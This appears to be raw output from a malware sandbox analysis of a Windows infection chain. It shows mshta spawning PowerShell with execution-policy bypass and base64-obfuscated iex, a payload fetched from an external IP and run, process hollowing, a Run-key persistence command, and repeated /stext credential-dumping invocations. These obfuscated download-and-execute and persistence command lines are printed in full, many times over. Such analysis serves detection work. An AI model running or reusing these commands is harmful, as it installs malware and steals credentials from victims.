Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe protection: execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe protection: execute and read and write
Sample uses process hollowing technique
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Section unmapped: C:\Windows\System32\cmd.exe base address: 400000
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe base: 1940000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe base: 18FFF4 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe base: 1940000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe base: 18FFF4
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sm41lsyu\sm41lsyu.cmdline" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\dllhost.exe "C:\Users\user\AppData\Roaming\dllhost.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA499.tmp" "c:\Users\user\AppData\Local\Temp\sm41lsyu\CSCE0CED41DA99B458392766F6BC82F0D5.TMP" Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\user\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe "C:\Users\user\AppData\Local\Temp\Vaccinerende.exe" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWeRSHElL -Ex BypaSs -nOp -W 1 -c DeVIcEcREdENTiaLdEplOYMENT.eXe ; iEx($(ieX('[SYsTeM.TExT.ENcODINg]'+[Char]0X3a+[Char]0X3A+'Utf8.getstRiNg([SYstEm.coNvErt]'+[chAR]58+[cHar]58+'FroMBAsE64sTrIng('+[chaR]34+'JEFLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlUkRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZ3d0ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgREhBSGdCREYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkhzLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUVyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXphbUVkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3MiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIElrc250TGdtU3F0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjIyMC4yMi80MzAvZGxsaG9zdC5leGUiLCIkZW52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c3RhclQtc2xFRXAoMyk7U1RhUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[cHAR]0x22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r4gn3nq1\r4gn3nq1.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Roaming\dllhost.exe "C:\Users\user\AppData\Roaming\dllhost.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF72C.tmp" "c:\Users\user\AppData\Local\Temp\r4gn3nq1\CSCA7279739985342FFA8B6946FD4222CB8.TMP"
Source: C:\Users\user\AppData\Roaming\dllhost.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\user\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe "C:\Users\user\AppData\Local\Temp\Vaccinerende.exe"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chivey57" /t REG_EXPAND_SZ /d "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;%Misbehavers% ($Frligheden)"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\uufpqcznfpbrpkbrchvwvbbgmplrtlta"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\wwta"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\hrysrnv"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\jypyihgkg"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\tsdrjareurci"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\wvibksbfizuvagm"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\iwmakfxbvkkvnuhajheo"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\krsslxicrscipavesrrqbfdw"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\vtxdlqtwfaunaojibclrekqfvdn"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\myrqksteqvbcbpuimnlztpdvy"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\xtwidkeyedthlwimexyaecymzxube"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\zvbbddpzsllmnceqnitchhsvidlcgnnv"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\jghbahqihjysxfkijlbzkstdovyth"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\tamubzacvrqfilguawnanwnuwchuixxt"
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Process created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe C:\Users\user\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\user\AppData\Local\Temp\dcam"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chivey57" /t REG_EXPAND_SZ /d "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;%Misbehavers% ($Frligheden)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$krjning=Get-Content -Raw 'C:\Users\user\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$krjning=Get-Content -Raw 'C:\Users\user\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jeflicagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagiefezc10evblicagicagicagicagicagicagicagicagicagicagicaglw1ltwjlukrlzmluavrpt24gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjmtu9olkrsbcisicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagiez3d0ssc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagrehbsgdcreysc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagqkhzlhvpbnqgicagicagicagicagicagicagicagicagicagicagicbuvyxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbwdxphbuvkktsnicagicagicagicagicagicagicagicagicagicagicaglu5btuugicagicagicagicagicagicagicagicagicagicagicaic3miicagicagicagicagicagicagicagicagicagicagicaglw5btuvzugfdzsagicagicagicagicagicagicagicagicagicagicagielrc250tgdtu3f0icagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicrbszo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5mi4zljiymc4ymi80mzavzgxsag9zdc5leguilcikzw52okfquerbvefczgxsag9zdc5leguildasmck7c3rhclqtc2xfrxaomyk7u1rhunqgicagicagicagicagicagicagicagicagicagicagicaijevuvjpbufbeqvrbxgrsbghvc3quzxhlig=='+[char]0x22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jeflicagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagiefezc10evblicagicagicagicagicagicagicagicagicagicagicaglw1ltwjlukrlzmluavrpt24gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjmtu9olkrsbcisicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagiez3d0ssc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagrehbsgdcreysc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagqkhzlhvpbnqgicagicagicagicagicagicagicagicagicagicagicbuvyxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbwdxphbuvkktsnicagicagicagicagicagicagicagicagicagicagicaglu5btuugicagicagicagicagicagicagicagicagicagicagicaic3miicagicagicagicagicagicagicagicagicagicagicaglw5btuvzugfdzsagicagicagicagicagicagicagicagicagicagicagielrc250tgdtu3f0icagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicrbszo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5mi4zljiymc4ymi80mzavzgxsag9zdc5leguilcikzw52okfquerbvefczgxsag9zdc5leguildasmck7c3rhclqtc2xfrxaomyk7u1rhunqgicagicagicagicagicagicagicagicagicagicagicaijevuvjpbufbeqvrbxgrsbghvc3quzxhlig=='+[char]0x22+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jeflicagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagiefezc10evblicagicagicagicagicagicagicagicagicagicagicaglw1ltwjlukrlzmluavrpt24gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjmtu9olkrsbcisicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagiez3d0ssc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagrehbsgdcreysc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagqkhzlhvpbnqgicagicagicagicagicagicagicagicagicagicagicbuvyxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbwdxphbuvkktsnicagicagicagicagicagicagicagicagicagicagicaglu5btuugicagicagicagicagicagicagicagicagicagicagicaic3miicagicagicagicagicagicagicagicagicagicagicaglw5btuvzugfdzsagicagicagicagicagicagicagicagicagicagicagielrc250tgdtu3f0icagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicrbszo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5mi4zljiymc4ymi80mzavzgxsag9zdc5leguilcikzw52okfquerbvefczgxsag9zdc5leguildasmck7c3rhclqtc2xfrxaomyk7u1rhunqgicagicagicagicagicagicagicagicagicagicagicaijevuvjpbufbeqvrbxgrsbghvc3quzxhlig=='+[char]0x22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jeflicagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagiefezc10evblicagicagicagicagicagicagicagicagicagicagicaglw1ltwjlukrlzmluavrpt24gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjmtu9olkrsbcisicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagiez3d0ssc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagrehbsgdcreysc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagqkhzlhvpbnqgicagicagicagicagicagicagicagicagicagicagicbuvyxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbwdxphbuvkktsnicagicagicagicagicagicagicagicagicagicagicaglu5btuugicagicagicagicagicagicagicagicagicagicagicaic3miicagicagicagicagicagicagicagicagicagicagicaglw5btuvzugfdzsagicagicagicagicagicagicagicagicagicagicagielrc250tgdtu3f0icagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicrbszo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5mi4zljiymc4ymi80mzavzgxsag9zdc5leguilcikzw52okfquerbvefczgxsag9zdc5leguildasmck7c3rhclqtc2xfrxaomyk7u1rhunqgicagicagicagicagicagicagicagicagicagicagicaijevuvjpbufbeqvrbxgrsbghvc3quzxhlig=='+[char]0x22+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jeflicagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagiefezc10evblicagicagicagicagicagicagicagicagicagicagicaglw1ltwjlukrlzmluavrpt24gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjmtu9olkrsbcisicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagiez3d0ssc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagrehbsgdcreysc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagqkhzlhvpbnqgicagicagicagicagicagicagicagicagicagicagicbuvyxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbwdxphbuvkktsnicagicagicagicagicagicagicagicagicagicagicaglu5btuugicagicagicagicagicagicagicagicagicagicagicaic3miicagicagicagicagicagicagicagicagicagicagicaglw5btuvzugfdzsagicagicagicagicagicagicagicagicagicagicagielrc250tgdtu3f0icagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicrbszo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5mi4zljiymc4ymi80mzavzgxsag9zdc5leguilcikzw52okfquerbvefczgxsag9zdc5leguildasmck7c3rhclqtc2xfrxaomyk7u1rhunqgicagicagicagicagicagicagicagicagicagicagicaijevuvjpbufbeqvrbxgrsbghvc3quzxhlig=='+[char]0x22+'))')))" Jump to behavior
